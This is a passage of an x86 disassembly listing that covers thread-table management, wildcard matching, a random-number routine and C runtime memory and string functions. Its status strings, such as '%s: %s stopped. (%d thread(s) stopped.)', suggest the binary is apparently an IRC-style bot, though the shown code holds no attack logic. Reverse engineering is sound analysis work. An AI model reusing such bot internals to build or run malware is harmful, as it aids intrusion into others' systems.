loc_412FF1 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_411655 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_412FAF push offset unk_42CDD4 jmp short loc_412FB4 ; --------------------------------------------------------------------------- loc_412FAF: ; CODE XREF: sub_412D42+264j push offset unk_42CD98 loc_412FB4: ; CODE XREF: sub_412D42+26Bj lea eax, [ebp+var_220] push edi push eax call sub_413B2A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_412FE4 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412FE4: ; CODE XREF: sub_412D42+286j lea eax, [ebp+var_220] push eax call sub_409615 pop ecx loc_412FF1: ; CODE XREF: sub_412D42+206j ; sub_412D42+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_412F40 loc_412FFC: ; CODE XREF: sub_412D42+1F8j lea eax, [ebp+var_220] push offset unk_42CD54 push eax call sub_4135AD pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_413027 ; --------------------------------------------------------------------------- loc_413014: ; CODE XREF: sub_412D42+173j lea eax, [ebp+var_220] push offset unk_42C9E8 push eax call sub_4135AD pop ecx pop ecx loc_413027: ; CODE XREF: sub_412D42+2D0j cmp [ebp+arg_C], ebx jnz short loc_413045 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_413045: ; CODE XREF: sub_412D42+2E8j lea eax, [ebp+var_220] push eax call sub_409615 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_412D42 endp ; =============== S U B R O U T I N E ======================================= sub_413059 proc near ; CODE XREF: seg000:004047C8p ; sub_40571E+31Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_434698 loc_413061: ; CODE XREF: sub_413059+18j cmp byte ptr [eax], 0 jz short loc_413075 add eax, 234h inc edi cmp eax, offset dword_45DB88 jl short loc_413061 jmp short loc_4130C0 ; --------------------------------------------------------------------------- loc_413075: ; CODE XREF: sub_413059+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_434698[esi] push eax call sub_414DD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov ds:dword_434898[esi], eax and ds:dword_43489C[esi], 0 mov eax, [esp+8+arg_8] and ds:dword_4348A0[esi], 0 mov ds:dword_4348A4[esi], eax and ds:byte_4348B0[esi], 0 pop esi loc_4130C0: ; CODE XREF: sub_413059+1Aj mov eax, edi pop edi retn sub_413059 endp ; --------------------------------------------------------------------------- dword_4130C4 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh ; DATA XREF: seg000:00410990o dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h dd 0EDE8006Ah, 170065CEh, 8B555E5Fh, 0EC81ECh, 56000002h dd 0FF006A57h, 50681075h, 0FF0042D0h, 75FF0C75h, 0DF7AE808h dd 0C483FFFFh, 0BEFF3314h, 434698h, 74003E80h, 147D833Ch dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h dd 42B00868h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh dd 0FF501075h, 75FF0C75h, 0DF32E808h, 0C483FFFFh, 34C68124h dd 47000002h, 0DB88FE81h, 0B07C0045h, 0C3C95E5Fh ; =============== S U B R O U T I N E ======================================= sub_413194 proc near ; CODE XREF: seg000:0040FD71p ; sub_413222+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_41321C cmp esi, 12Ch jge short loc_41321C imul esi, 234h push edi push ebx push ds:dword_4348AC[esi] lea edi, dword_4348AC[esi] call near ptr 0A70000h or [ecx], edi pop ds jz short loc_4131CC push 1 pop ebp loc_4131CC: ; CODE XREF: sub_413194+33j mov [edi], ebx lea edi, dword_4348A0[esi] mov ds:dword_434898[esi], ebx mov ds:dword_43489C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_4131ED push eax call near ptr sub_4123C5 pop ecx loc_4131ED: ; CODE XREF: sub_413194+50j mov [edi], ebx lea edi, dword_4348A4[esi] mov byte ptr ds:dword_434698[esi], bl mov ds:byte_4348B0[esi], bl push dword ptr [edi] call ds:dword_42F7A0 lea esi, dword_4348A8[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_42F7A0 mov [esi], ebx pop edi loc_41321C: ; CODE XREF: sub_413194+Dj ; sub_413194+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_413194 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413222 proc near ; CODE XREF: sub_4082BD:loc_4082E1p ; sub_40AA28+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_434698 loc_41322E: ; CODE XREF: sub_413222+2Aj cmp byte ptr [esi], 0 jz short loc_41323F push edi call sub_413194 test eax, eax pop ecx jz short loc_41323F inc ebx loc_41323F: ; CODE XREF: sub_413222+Fj ; sub_413222+1Aj add esi, 234h inc edi cmp esi, offset dword_45DB88 jl short loc_41322E pop edi mov eax, ebx pop esi pop ebx retn sub_413222 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413254 proc near ; CODE XREF: seg000:0040D024p ; seg000:0040D092p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43489C loc_413268: ; CODE XREF: sub_413254+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_41328A test edi, edi jle short loc_41327C cmp [esi], edi jz short loc_41327C cmp ebx, edi jnz short loc_41328A loc_41327C: ; CODE XREF: sub_413254+1Ej ; sub_413254+22j push ebx call sub_413194 test eax, eax pop ecx jz short loc_41328A inc [ebp+var_4] loc_41328A: ; CODE XREF: sub_413254+1Aj ; sub_413254+26j ... add esi, 234h inc ebx cmp esi, offset dword_45DD8C jl short loc_413268 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_413254 endp ; =============== S U B R O U T I N E ======================================= sub_4132A1 proc near ; CODE XREF: sub_4056A7+Bp ; sub_40571E+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_434898 loc_4132A8: ; CODE XREF: sub_4132A1+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_4132B1 inc eax loc_4132B1: ; CODE XREF: sub_4132A1+Dj add ecx, 234h cmp ecx, offset dword_45DD88 jl short loc_4132A8 retn sub_4132A1 endp ; =============== S U B R O U T I N E ======================================= sub_4132C0 proc near ; CODE XREF: seg000:0041044Ap arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_434898 loc_4132CA: ; CODE XREF: sub_4132C0+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_4132E3 add ecx, 234h inc edx cmp ecx, offset dword_45DD88 jl short loc_4132CA pop esi retn ; --------------------------------------------------------------------------- loc_4132E3: ; CODE XREF: sub_4132C0+10j mov eax, edx pop esi retn sub_4132C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132E7 proc near ; CODE XREF: seg000:0040C3BDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_413300 push [ebp+arg_1C] call sub_413B1F pop ecx loc_413300: ; CODE XREF: sub_4132E7+Ej push eax push [ebp+arg_18] call sub_413254 pop ecx test eax, eax pop ecx jle short loc_41332C push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4135AD add esp, 14h jmp short loc_413346 ; --------------------------------------------------------------------------- loc_41332C: ; CODE XREF: sub_4132E7+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4135AD add esp, 10h loc_413346: ; CODE XREF: sub_4132E7+43j cmp [ebp+arg_C], 0 jnz short loc_413366 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_413366: ; CODE XREF: sub_4132E7+63j lea eax, [ebp+var_200] push eax call sub_409615 pop ecx leave retn sub_4132E7 endp ; =============== S U B R O U T I N E ======================================= sub_413375 proc near ; CODE XREF: start+A2p ; seg000:004014D4p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_4348AC[eax], ecx mov ds:dword_434898[eax], ecx mov ds:dword_43489C[eax], ecx mov ds:dword_4348A0[eax], ecx mov ds:dword_4348A4[eax], ecx mov ds:dword_4348A8[eax], ecx mov byte ptr ds:dword_434698[eax], cl mov ds:byte_4348B0[eax], cl retn sub_413375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133B2 proc near ; CODE XREF: seg000:00410F55p ; sub_4134E0+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4133BC: ; CODE XREF: sub_4133B2+68j mov cl, [esi] test cl, cl jz short loc_41341C cmp eax, 1 jnz short loc_41341C mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41341C cmp cl, 2Ah jz short loc_413403 cmp cl, 3Fh jz short loc_4133E6 cmp cl, 5Bh jz short loc_4133EB xor eax, eax cmp cl, dl setz al loc_4133E6: ; CODE XREF: sub_4133B2+26j inc [ebp+arg_4] jmp short loc_413416 ; --------------------------------------------------------------------------- loc_4133EB: ; CODE XREF: sub_4133B2+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_413448 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_413416 ; --------------------------------------------------------------------------- loc_413403: ; CODE XREF: sub_4133B2+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4134E0 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_413416: ; CODE XREF: sub_4133B2+37j ; sub_4133B2+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4133BC ; --------------------------------------------------------------------------- loc_41341C: ; CODE XREF: sub_4133B2+Ej ; sub_4133B2+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41342C cmp eax, 1 jnz short loc_413443 inc esi mov [ebp+arg_0], esi jmp short loc_41341C ; --------------------------------------------------------------------------- loc_41342C: ; CODE XREF: sub_4133B2+6Dj cmp eax, 1 jnz short loc_413443 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_413443 cmp byte ptr [esi], 0 jnz short loc_413443 push 1 pop eax jmp short loc_413445 ; --------------------------------------------------------------------------- loc_413443: ; CODE XREF: sub_4133B2+72j ; sub_4133B2+7Dj ... xor eax, eax loc_413445: ; CODE XREF: sub_4133B2+8Fj pop esi pop ebp retn sub_4133B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413448 proc near ; CODE XREF: sub_4133B2+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_413469 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_413469: ; CODE XREF: sub_413448+19j push ebx push esi loc_41346B: ; CODE XREF: sub_413448+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_413479 cmp [ebp+var_4], eax jnz short loc_4134C5 loc_413479: ; CODE XREF: sub_413448+2Aj test edi, edi jnz short loc_4134BA cmp bl, 2Dh jnz short loc_4134AE mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4134AE cmp al, 5Dh jz short loc_4134AE cmp [ebp+var_4], edi jnz short loc_4134AE mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4134BA cmp bl, al jg short loc_4134BA push 1 mov [edx], esi pop edi jmp short loc_4134BA ; --------------------------------------------------------------------------- loc_4134AE: ; CODE XREF: sub_413448+38j ; sub_413448+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4134BA push 1 pop edi loc_4134BA: ; CODE XREF: sub_413448+33j ; sub_413448+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41346B ; --------------------------------------------------------------------------- loc_4134C5: ; CODE XREF: sub_413448+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4134D2 mov ecx, eax sub ecx, edi mov edi, ecx loc_4134D2: ; CODE XREF: sub_413448+82j cmp edi, eax jnz short loc_4134DB mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4134DB: ; CODE XREF: sub_413448+8Cj mov eax, edi pop edi leave retn sub_413448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134E0 proc near ; CODE XREF: sub_4133B2+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4134FC: ; CODE XREF: sub_4134E0+3Aj cmp [eax], bl jz short loc_41351C mov cl, [ecx] cmp cl, 3Fh jz short loc_413511 cmp cl, 2Ah jnz short loc_41351C cmp cl, 3Fh jnz short loc_413514 loc_413511: ; CODE XREF: sub_4134E0+25j inc eax mov [edi], eax loc_413514: ; CODE XREF: sub_4134E0+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4134FC ; --------------------------------------------------------------------------- loc_41351C: ; CODE XREF: sub_4134E0+1Ej ; sub_4134E0+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_413527 inc dword ptr [esi] jmp short loc_41351C ; --------------------------------------------------------------------------- loc_413527: ; CODE XREF: sub_4134E0+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_413548 mov edx, [esi] cmp [edx], bl jz short loc_413539 xor eax, eax jmp short loc_4135A8 ; --------------------------------------------------------------------------- loc_413539: ; CODE XREF: sub_4134E0+53j cmp cl, bl jnz short loc_413548 mov ecx, [esi] cmp [ecx], bl jnz short loc_413548 push 1 pop eax jmp short loc_4135A8 ; --------------------------------------------------------------------------- loc_413548: ; CODE XREF: sub_4134E0+4Dj ; sub_4134E0+5Bj ... push eax push dword ptr [esi] call sub_4133B2 pop ecx test eax, eax pop ecx jnz short loc_413592 loc_413556: ; CODE XREF: sub_4134E0+B0j inc dword ptr [edi] mov eax, [edi] loc_41355A: ; CODE XREF: sub_4134E0+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_413572 cmp cl, 5Bh jz short loc_413572 cmp dl, bl jz short loc_413572 inc eax mov [edi], eax jmp short loc_41355A ; --------------------------------------------------------------------------- loc_413572: ; CODE XREF: sub_4134E0+82j ; sub_4134E0+87j ... mov eax, [edi] cmp [eax], bl jz short loc_413589 push eax push dword ptr [esi] call sub_4133B2 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41358E ; --------------------------------------------------------------------------- loc_413589: ; CODE XREF: sub_4134E0+96j mov [ebp+var_4], ebx xor eax, eax loc_41358E: ; CODE XREF: sub_4134E0+A7j cmp eax, ebx jnz short loc_413556 loc_413592: ; CODE XREF: sub_4134E0+74j mov eax, [edi] cmp [eax], bl jnz short loc_4135A5 mov eax, [esi] cmp [eax], bl jnz short loc_4135A5 mov [ebp+var_4], 1 loc_4135A5: ; CODE XREF: sub_4134E0+B6j ; sub_4134E0+BCj mov eax, [ebp+var_4] loc_4135A8: ; CODE XREF: sub_4134E0+57j ; sub_4134E0+66j pop edi pop esi pop ebx leave retn sub_4134E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135AD proc near ; CODE XREF: start+61p ; seg000:004013BAp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_415DDC add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4135ED mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4135FA ; --------------------------------------------------------------------------- loc_4135ED: ; CODE XREF: sub_4135AD+36j lea eax, [ebp+var_20] push eax push 0 call sub_415CC7 pop ecx pop ecx loc_4135FA: ; CODE XREF: sub_4135AD+3Ej mov eax, esi pop esi leave retn sub_4135AD endp ; =============== S U B R O U T I N E ======================================= sub_4135FF proc near ; CODE XREF: start+2Ep ; seg000:00401C1Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_42D0A0, eax retn sub_4135FF endp ; =============== S U B R O U T I N E ======================================= sub_413609 proc near ; CODE XREF: seg000:0040117Dp ; seg000:004011F1p ... mov eax, ds:dword_42D0A0 imul eax, 343FDh add eax, 269EC3h mov ds:dword_42D0A0, eax sar eax, 10h and eax, 7FFFh retn sub_413609 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413630 proc near ; CODE XREF: seg000:00401333p ; sub_4018CA+85p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_413683 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_413677 neg ecx and ecx, 3 jz short loc_413659 sub edx, ecx loc_413653: ; CODE XREF: sub_413630+27j mov [edi], al inc edi dec ecx jnz short loc_413653 loc_413659: ; CODE XREF: sub_413630+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_413677 rep stosd test edx, edx jz short loc_41367D loc_413677: ; CODE XREF: sub_413630+18j ; sub_413630+3Fj ... mov [edi], al inc edi dec edx jnz short loc_413677 loc_41367D: ; CODE XREF: sub_413630+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_413683: ; CODE XREF: sub_413630+Aj mov eax, [esp+arg_0] retn sub_413630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413690 proc near ; CODE XREF: seg000:004012DFp ; seg000:004012F0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4136B0 cmp edi, eax jb loc_413828 loc_4136B0: ; CODE XREF: sub_413690+16j test edi, 3 jnz short loc_4136CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4136EC rep movsd jmp ds:off_4137D8[edx*4] ; --------------------------------------------------------------------------- loc_4136CC: ; CODE XREF: sub_413690+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4136E4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_4136EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4136E4: ; CODE XREF: sub_413690+46j jmp dword ptr ds:loc_4137E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4136EC: ; CODE XREF: sub_413690+31j ; sub_413690+8Ej ... jmp ds:off_41376C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_413700 dd offset loc_41372C dd offset loc_413750 ; --------------------------------------------------------------------------- loc_413700: ; DATA XREF: sub_413690+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4136EC rep movsd jmp ds:off_4137D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41372C: ; DATA XREF: sub_413690+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4136EC rep movsd jmp ds:off_4137D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_413750: ; DATA XREF: sub_413690+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4136EC rep movsd jmp ds:off_4137D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41376C dd offset loc_4137CF ; DATA XREF: sub_413690:loc_4136ECr dd offset loc_4137BC dd offset loc_4137B4 dd offset loc_4137AC dd offset loc_4137A4 dd offset loc_41379C dd offset loc_413794 dd offset loc_41378C ; --------------------------------------------------------------------------- loc_41378C: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_413794: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41379C: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4137A4: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4137AC: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4137B4: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4137BC: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4137CF: ; CODE XREF: sub_413690:loc_4136ECj ; DATA XREF: sub_413690:off_41376Co jmp ds:off_4137D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4137D8 dd offset loc_4137E8 ; DATA XREF: sub_413690+35r ; sub_413690+92r ... dd offset loc_4137F0 dd offset loc_4137FC dd offset loc_413810 ; --------------------------------------------------------------------------- loc_4137E8: ; CODE XREF: sub_413690+35j ; sub_413690+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4137F0: ; CODE XREF: sub_413690+35j ; sub_413690+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4137FC: ; CODE XREF: sub_413690+35j ; sub_413690+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_413810: ; CODE XREF: sub_413690+35j ; sub_413690+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413828: ; CODE XREF: sub_413690+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41385C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_413850 std rep movsd cld jmp ds:off_413970[edx*4] ; --------------------------------------------------------------------------- align 10h loc_413850: ; CODE XREF: sub_413690+1B1j ; sub_413690+208j ... neg ecx jmp dword ptr ds:loc_413920[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41385C: ; CODE XREF: sub_413690+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_413874 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_413874+4[eax*4] ; --------------------------------------------------------------------------- loc_413874: ; CODE XREF: sub_413690+1D6j ; DATA XREF: sub_413690+1DDr jmp ds:off_413970[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [eax], bh inc ecx add [eax-2FFFBEC8h], ch cmp [ecx+0], al mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_413850 std rep movsd cld jmp ds:off_413970[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_413850 std rep movsd cld jmp ds:off_413970[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_413850 std rep movsd cld jmp ds:off_413970[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_413924 dd offset loc_41392C dd offset loc_413934 dd offset loc_41393C dd offset loc_413944 dd offset loc_41394C ; --------------------------------------------------------------------------- push esp cmp [ecx+0], eax loc_413920: ; DATA XREF: sub_413690+1C2r cmp [bx+di+0], eax loc_413924: ; DATA XREF: sub_413690+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41392C: ; DATA XREF: sub_413690+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_413934: ; DATA XREF: sub_413690+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41393C: ; DATA XREF: sub_413690+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_413944: ; DATA XREF: sub_413690+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41394C: ; DATA XREF: sub_413690+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_413967: ; CODE XREF: sub_413690+1C2j jmp ds:off_413970[edx*4] ; --------------------------------------------------------------------------- align 10h off_413970 dd offset loc_413980 ; DATA XREF: sub_413690+1B7r ; sub_413690:loc_413874r ... dd offset loc_413988 dd offset loc_413998 dd offset loc_4139AC ; --------------------------------------------------------------------------- loc_413980: ; CODE XREF: sub_413690+1B7j ; sub_413690:loc_413874j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413988: ; CODE XREF: sub_413690+1B7j ; sub_413690:loc_413874j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413998: ; CODE XREF: sub_413690+1B7j ; sub_413690:loc_413874j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4139AC: ; CODE XREF: sub_413690+1B7j ; sub_413690:loc_413874j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_413690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4139D0 proc near ; CODE XREF: seg000:004011AEp ; seg000:004011CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_413A1C loc_4139E0: ; CODE XREF: sub_4139D0+3Cj ; sub_4139D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_413A14 or al, al jz short loc_413A10 cmp ah, [ecx+1] jnz short loc_413A14 or ah, ah jz short loc_413A10 shr eax, 10h cmp al, [ecx+2] jnz short loc_413A14 or al, al jz short loc_413A10 cmp ah, [ecx+3] jnz short loc_413A14 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4139E0 mov edi, edi loc_413A10: ; CODE XREF: sub_4139D0+18j ; sub_4139D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_413A14: ; CODE XREF: sub_4139D0+14j ; sub_4139D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_413A1C: ; CODE XREF: sub_4139D0+Ej test edx, 1 jz short loc_413A38 mov al, 